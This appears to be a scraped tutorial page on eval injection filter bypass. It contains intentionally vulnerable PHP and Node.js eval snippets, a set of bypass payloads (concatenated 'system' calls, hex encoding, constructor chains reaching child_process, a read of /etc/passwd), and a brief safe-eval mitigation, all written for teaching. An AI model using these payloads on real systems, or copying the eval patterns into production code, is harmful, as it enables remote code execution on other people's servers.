Learn to identify, exploit, and defend against eval injection vulnerabilities
Eval Filter Bypass is a vulnerability where an attacker bypasses input filters to execute arbitrary code through an application's eval() function or similar dynamic code execution features.
A PHP application uses eval() with filtered input:
$input = $_GET['calc'];
// Filter out dangerous characters
$filtered = str_replace([';', '$', '{', '}'], '', $input);
eval("echo $filtered;");
| Requirement | Why It Matters | Example |
|---|---|---|
| Dynamic code execution | Provides the injection point | eval(), Function(), setTimeout() |
| User input in evaluation | Source of malicious payload | eval(user_input) |
| Incomplete filtering | Allows bypass attempts | Blacklisting instead of allowlisting |
// Node.js code - can you find the issue?
app.get('/execute', (req, res) => {
const code = req.query.code.replace(/require|import/g, '');
const result = eval(code);
res.send(result);
});
eval() with user inputFunction() constructorsetTimeout()/setInterval() with stringsnew Function() with dynamic parametersscript tag injectioneval() functionassert() with dynamic codecreate_function()preg_replace() with /e modifiereval() with user inputexec() functionpickle with untrusted datayaml.load() instead of yaml.safe_load()// PHP code with filter - is this secure? $input = $_GET['input']; $filtered = str_replace(['system', 'exec', 'shell_exec'], '', $input); eval($filtered . ';');
| Technique | Description | Example |
|---|---|---|
| String Concatenation | Bypass keyword filters | "sy"."stem"("id") |
| Comments | Hide malicious parts | system/*filtered*/('id') |
| Alternative Syntax | Use less common syntax | eval("`id`") (backticks in JS) |
| Encoding | Obfuscate payload | eval("\x73\x79\x73\x74\x65\x6d\x28\x27\x69\x64\x27\x29") |
PHP calculator: calc.php?input=
Results will appear here
constructor.constructor to recreate functionsimport?code=this.constructor.constructor('return process.mainModule.require("child_process").execSync("id")')()
$func = "system"; $func("id");)?input=$_="s"."y"."s"."t"."e"."m";$_("id");
__import__ instead of import__import__('os').system('id')
| Filter | Bypass Technique | Example |
|---|---|---|
| Blacklisted words | String concatenation | "sy"."stem"("id") |
| Parentheses | Backticks (JS) or PHP execution operator | eval("`id`") |
| Spaces | Comments or no spaces | eval("system/*space*/('id')") |
| Multiple filters | Nested encoding | eval(String.fromCharCode(97,108,101,114,116,40,49,41)) |
eval('alert(1)')
Function('alert(1)')()
require('child_process').execSync('id')
system('id');
`id`
echo file_get_contents('/etc/passwd');
__import__('os').system('id')
__import__('subprocess').check_output('id',shell=True)
eval() and similar functions
// Dangerous
app.get('/eval', (req, res) => {
const result = eval(req.query.code);
res.send(result);
});
// Secure alternative
const safeEval = require('safe-eval');
app.get('/calculate', (req, res) => {
try {
const result = safeEval(req.query.code, {
allowed: ['Math', 'Number'] // Only allow specific APIs
});
res.send(result);
} catch (e) {
res.status(400).send('Invalid input');
}
});
Welcome to the Eval Injection Simulator!
Try these payloads in the simulated vulnerable endpoint:
1;system('id') - Basic PHP injection1&&eval("alert(1)") - JavaScript eval__import__('os').system('id') - Python>